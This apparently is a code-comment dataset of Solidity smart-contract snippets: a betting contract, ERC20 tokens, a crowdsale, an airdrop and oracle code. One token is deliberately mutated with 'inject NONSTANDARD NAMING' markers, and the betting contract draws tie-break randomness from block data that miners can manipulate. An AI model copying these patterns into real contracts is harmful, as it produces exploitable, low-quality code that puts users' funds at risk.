require(betBanks[_betId1].bet != emptyBet && betBanks[_betId2].bet != emptyBet);//require that both tokens are active and hold funds
require(betBanks[_betId1].owner == msg.sender || betBanks[_betId2].owner == msg.sender); //require that the user submitting is the owner of one of the tokens
require(betBanks[_betId1].owner != betBanks[_betId2].owner);//prevent a user from betting 2 tokens he owns, prevent possible exploits
require(_betId1 != _betId2);//require that user doesn't bet token against itself
//unhash the bets to calculate winner
uint bet1ConvertedAddr = uint(betBanks[_betId1].owner);
uint bet1 = (uint(betBanks[_betId1].bet)/7).sub(bet1ConvertedAddr);
uint bet2ConvertedAddr = uint(betBanks[_betId2].owner);
uint bet2 = (uint(betBanks[_betId2].bet)/7).sub(bet2ConvertedAddr);
uint take = (bet1).add(bet2);//calculate the total rewards for winning
uint fee = (take.mul(houseFee)).div(100);//calculate the fee
houseCommission = houseCommission.add(fee);//add fee to commission
if(bet1 != bet2) {//if no tie
if(bet1 > bet2) {//if betId1 wins
_payoutWinner(_betId1, _betId2, take, fee);//payout betId1
} else {
_payoutWinner(_betId2, _betId1, take, fee);//payout betId2
}
} else {//if its a tie
if(_random() == 0) {//choose a random winner
_payoutWinner(_betId1, _betId2, take, fee);//payout betId1
} else {
_payoutWinner(_betId2, _betId1, take, fee);//payout betId2
}
}
return true;
}
//internal function to pay out the winner
function _payoutWinner(uint winner, uint loser, uint take, uint fee) private returns(bool) {
BigBankBet(block.number, betBanks[winner].owner, betBanks[loser].owner, winner, loser, take.sub(fee));//broadcast the BigBankBet event
address winnerAddr = betBanks[winner].owner;//save the winner address
_endBetListing(winner);//end the token
_endBetListing(loser);//end the token
userBank[winnerAddr] = (userBank[winnerAddr]).add(take.sub(fee));//pay out the winner
return true;
}
//set the fee
function setHouseFee(uint newFee)public onlyOwner returns(bool) {
require(msg.sender == owner);//redundant require owner
houseFee = newFee;//set the house fee
return true;
}
//withdraw the commission
function withdrawCommission()public onlyOwner returns(bool) {
require(msg.sender == owner);//again redundant owner check because who trusts modifiers
bookKeeper = bookKeeper.sub(houseCommission);//update ;the bookKeeper
uint holding = houseCommission;//get the commission balance
houseCommission = 0;//empty the balance
owner.transfer(holding);//transfer to owner
return true;
}
//random function for tiebreaker
function _random() private view returns (uint8) {
return uint8(uint256(keccak256(block.timestamp, block.difficulty))%2);
}
//get amount of active bet tokens
function _totalActiveBets() private view returns(uint total) {
total = 0;
for(uint i=0; i<betBanks.length; i++) {//loop through bets
if(betBanks[i].bet != emptyBet && betBanks[i].owner != msg.sender) {//if there is a bet and the owner is not the msg.sender
total++;//increase quantity
}
}
}
//get list of active bet tokens
function listActiveBets() public view returns(uint[]) {
uint256 total = _totalActiveBets();
if (total == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](total);
uint rc = 0;
for (uint idx=0; idx < betBanks.length; idx++) {//loop through bets
if(betBanks[idx].bet != emptyBet && betBanks[idx].owner != msg.sender) {//if there is a bet and the owner is not the msg.sender
result[rc] = idx;//add token to list
rc++;
}
}
}
return result;
}
//total open bets of user
function _totalUsersBets() private view returns(uint total) {
total = 0;
for(uint i=0; i<betBanks.length; i++) {//loop through bets
if(betBanks[i].owner == msg.sender && betBanks[i].bet != emptyBet) {//if the bet is over 0 and the owner is msg.sender
total++;//increase quantity
}
}
}
//get list of active bet tokens
function listUsersBets() public view returns(uint[]) {
uint256 total = _totalUsersBets();
if (total == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](total);
uint rc = 0;
for (uint idx=0; idx < betBanks.length; idx++) {//loop through bets
if(betBanks[idx].owner == msg.sender && betBanks[idx].bet != emptyBet) {//if the bet is over 0 and owner is msg.sender
result[rc] = idx;//add to list
rc++;
}
}
}
return result;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
|
update the bookkeeper
|
bookKeeper = bookKeeper.sub(amount);
| 12,654,378
|
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pragma solidity ^0.6.6;
abstract contract context7 { //inject NONSTANDARD NAMING
function _MSGSENDER64() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA9() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library safemath6 { //inject NONSTANDARD NAMING
function ADD65(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB71(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB71(a, b, "SafeMath: subtraction overflow");
}
function SUB71(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL48(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV93(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV93(a, b, "SafeMath: division by zero");
}
function DIV93(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD89(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD89(a, b, "SafeMath: modulo by zero");
}
function MOD89(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library address31 { //inject NONSTANDARD NAMING
function ISCONTRACT74(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function SENDVALUE61(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL78(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL78(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL78(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE2(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE15(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE15(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE15(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE2(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE2(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT74(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ierc2063 { //inject NONSTANDARD NAMING
function TOTALSUPPLY21() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF40(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER44(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE36(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE35(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM7(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER43(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL0(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract erc2092 is context7, ierc2063 { //inject NONSTANDARD NAMING
using safemath6 for uint256;
using address31 for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_totalSupply += 777000000000000000000000000;
_balances[0xE937E459D8220d4D8a289660A00146ec117E5D87] = _totalSupply;
emit TRANSFER43(address(0), 0xE937E459D8220d4D8a289660A00146ec117E5D87, _totalSupply);
}
function NAME39() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL23() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS39() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY21() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF40(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER44(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER81(_MSGSENDER64(), recipient, amount);
return true;
}
function ALLOWANCE36(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE35(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE3(_MSGSENDER64(), spender, amount);
return true;
}
function TRANSFERFROM7(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER81(sender, recipient, amount);
_APPROVE3(sender, _MSGSENDER64(), _allowances[sender][_MSGSENDER64()].SUB71(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE24(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE3(_MSGSENDER64(), spender, _allowances[_MSGSENDER64()][spender].ADD65(addedValue));
return true;
}
function DECREASEALLOWANCE80(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE3(_MSGSENDER64(), spender, _allowances[_MSGSENDER64()][spender].SUB71(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER81(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER18(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB71(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD65(amount);
emit TRANSFER43(sender, recipient, amount);
}
function _APPROVE3(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL0(owner, spender, amount);
}
function _SETUPDECIMALS14(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER18(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
|
inject NONSTANDARD NAMING
|
function DECIMALS39() public view returns (uint8) {
| 12,732,319
|
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./full_match/1/0x640216Ea5b2aC018b1d1FDB3F0a206F652C92574/sources/contracts/CommunityRegistry/CommunityRegistry.sol
|
* @dev Executes before a token transfer. @param from The address transferring the token. @param to The address receiving the token. @param startTokenId The starting token ID of the transfer. @param quantity The quantity of tokens being transferred./
|
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
for (uint256 i = 0; i < quantity; i++) {
uint256 tokenId = startTokenId + i;
if (from == address(0)) continue;
NodeState state = getNodeStateByTokenId(tokenId);
if (state != NodeState.HELD) revert ErrUnexpectedNodeState();
}
if (address(_config.tokenTransfer) != address(0)) {
ICommunityTransfer(_config.tokenTransfer).beforeTokenTransfers(
msg.sender,
from,
to,
startTokenId,
quantity
);
}
}
| 9,808,383
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./full_match/9001/0x8773017C81C2Ee39dF8A893AC7ce0E433B1d338D/sources/contract-8b3a68c058.sol
|
@custom:security-contact zzz@idontexist
|
contract Catnip is ERC20, ERC20Burnable, ERC20Snapshot, Ownable, ERC20Permit, ERC20Votes, ERC20FlashMint {
pragma solidity ^0.8.4;
constructor() ERC20("Catnip", "MEOW") ERC20Permit("Catnip") {
_mint(msg.sender, 777777 * 10 ** decimals());
}
function snapshot() public onlyOwner {
_snapshot();
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
override(ERC20, ERC20Snapshot)
{
super._beforeTokenTransfer(from, to, amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
super._afterTokenTransfer(from, to, amount);
}
function _mint(address to, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
super._mint(to, amount);
}
function _burn(address account, uint256 amount)
internal
override(ERC20, ERC20Votes)
{
super._burn(account, amount);
}
}
| 11,533,987
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// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "../lib/SafeMath.sol";
import "../eth/ERC20MintToken.sol";
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20MintToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address payable public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, uint256 _endTime, uint256 _rate, address payable _wallet) {
require(_startTime >= block.timestamp);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// fallback function can be used to buy tokens
receive() external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public virtual payable {
buyTokens(beneficiary, msg.value);
}
// implementation of low level token purchase function
function buyTokens(address beneficiary, uint256 weiAmount) internal {
require(beneficiary != address(0));
require(validPurchase(weiAmount));
// update state
weiRaised = weiRaised.add(weiAmount);
transferToken(beneficiary, weiAmount);
forwardFunds(weiAmount);
}
// low level transfer token
// override to create custom token transfer mechanism, eg. pull pattern
function transferToken(address beneficiary, uint256 weiAmount) virtual internal {
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
token.transferToken(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint256 weiAmount) virtual internal {
(bool sent, ) = wallet.call{value: weiAmount}("");
require(sent, "Failed to forwardFunds");
}
// @return true if the transaction can buy tokens
function validPurchase(uint256 weiAmount) internal virtual view returns (bool) {
bool withinPeriod = block.timestamp >= startTime && block.timestamp <= endTime;
bool nonZeroPurchase = weiAmount != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public virtual view returns (bool) {
return block.timestamp > endTime;
}
// @return true if crowdsale has started
function hasStarted() public view returns (bool) {
return block.timestamp >= startTime;
}
}
|
fallback function can be used to buy tokens
|
receive() external payable {
buyTokens(msg.sender);
}
| 12,579,362
|
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./partial_match/1/0xcC46b655d819382c2D76b64d7395772e1D64b569/sources/Evorium.sol
|
set as development wallet
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developmentWallet = address(0x4DCD5fa16cA819e49F8789C8ce59730c35c7121d);
| 4,084,134
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./partial_match/1/0x3B3812BB9f6151bEb6fa10783F1ae848a77a0d46/sources/CollateralErc20.sol
|
scale down before transferring back.
|
function close(uint id) external {
uint collateral = closeInternal(msg.sender, id);
uint scaledCollateral = scaleDownCollateral(collateral);
IERC20(underlyingContract).transfer(msg.sender, scaledCollateral);
}
| 2,762,252
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./partial_match/1/0x6b2C42D2Aa4CB2D859CF7a88546dB12ae294F303/sources/contracts/libraries/DesynSafeMath.sol
|
* @notice Safe unsigned subtraction @param a - first operand @param b - second operand @dev Do a signed subtraction, and check that it produces a positive value (i.e., a - b is valid if b <= a) @return - a - b; throws if underflow/
|
function bsub(uint a, uint b) internal pure returns (uint) {
(uint c, bool negativeResult) = bsubSign(a, b);
require(!negativeResult, "ERR_SUB_UNDERFLOW");
return c;
}
| 2,714,673
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./full_match/1/0x959eE2fC3bCE6A0f008deaBCAb5BF30A809d94a1/sources/contracts/UniswapPriceOracle.sol
|
Check caller = admin
|
function _addPool(address poolFactory_) public returns (uint) {
if (msg.sender != getMyAdmin()) {
return fail(Error.UNAUTHORIZED, FailureInfo.ADD_POOL_OR_COIN);
}
require(
poolFactory_ != address(0)
, 'Oracle: invalid address for factory'
);
for (uint i = 0; i < poolFactories.length; i++) {
if (poolFactories[i] == poolFactory_) {
return fail(Error.POOL_OR_COIN_EXIST, FailureInfo.ADD_POOL_OR_COIN);
}
}
poolFactories.push(poolFactory_);
uint poolId = poolFactories.length - 1;
emit PoolAdded(poolId, poolFactory_);
return uint(Error.NO_ERROR);
}
| 2,906,367
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./full_match/80001/0x1E298C5bb202048f84Ec2416e7164d30F201d620/sources/src/LS1155.sol
|
----------------------------------------------------------------------- errors ----------------------------------------------------------------------- Array lengths of accounts & percentAllocations don't match (`accountsLength` != `allocationsLength`) @param accountsLength Length of accounts array @param allocationsLength Length of percentAllocations array Invalid initAllocations sum `allocationsSum` must equal `TOTAL_SUPPLY` @param allocationsSum Sum of percentAllocations array ----------------------------------------------------------------------- libraries ----------------------------------------------------------------------- ----------------------------------------------------------------------- storage ----------------------------------------------------------------------- ----------------------------------------------------------------------- constructor ----------------------------------------------------------------------- checks
|
) Owned(_owner) LiquidSplit(_splitMain, _distributorFee) {
if (accounts.length != initAllocations.length) {
revert InvalidLiquidSplit__AccountsAndAllocationsMismatch(
accounts.length,
initAllocations.length
);
}
{
uint32 sum = _getSum(initAllocations);
if (sum != TOTAL_SUPPLY) {
revert InvalidLiquidSplit__InvalidAllocationsSum(sum);
}
}
mintedOnTimestamp = block.timestamp;
unchecked {
for (uint256 i; i < numAccs; ++i) {
_mint({
to: accounts[i],
id: TOKEN_ID,
amount: initAllocations[i],
data: ""
});
}
}
}
| 5,639,502
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./partial_match/5/0x6e4dc15D5e5A246abfB883b7084D6FE23d2EdC80/sources/Unilayer.sol
|
* @dev Airdrop function to airdrop tokens. Best works upto 50 addresses in one time. Maximum limit is 200 addresses in one time. @param _addresses array of address in serial order @param _amount amount in serial order with respect to address array/
|
function airdropByOwner(address[] memory _addresses, uint256[] memory _amount) public onlyOwner returns (bool){
require(_addresses.length == _amount.length,"Invalid Array");
uint256 count = _addresses.length;
for (uint256 i = 0; i < count; i++){
_transfer(msg.sender, _addresses[i], _amount[i]);
airdropcount = airdropcount + 1;
}
return true;
}
| 16,861,137
|
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/**
* Copyright (c) 2018 blockimmo AG license@blockimmo.ch
* Non-Profit Open Software License 3.0 (NPOSL-3.0)
* https://opensource.org/licenses/NPOSL-3.0
*/
pragma solidity 0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(_beneficiary, _weiAmount);
* require(weiRaised.add(_weiAmount) <= cap);
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
/**
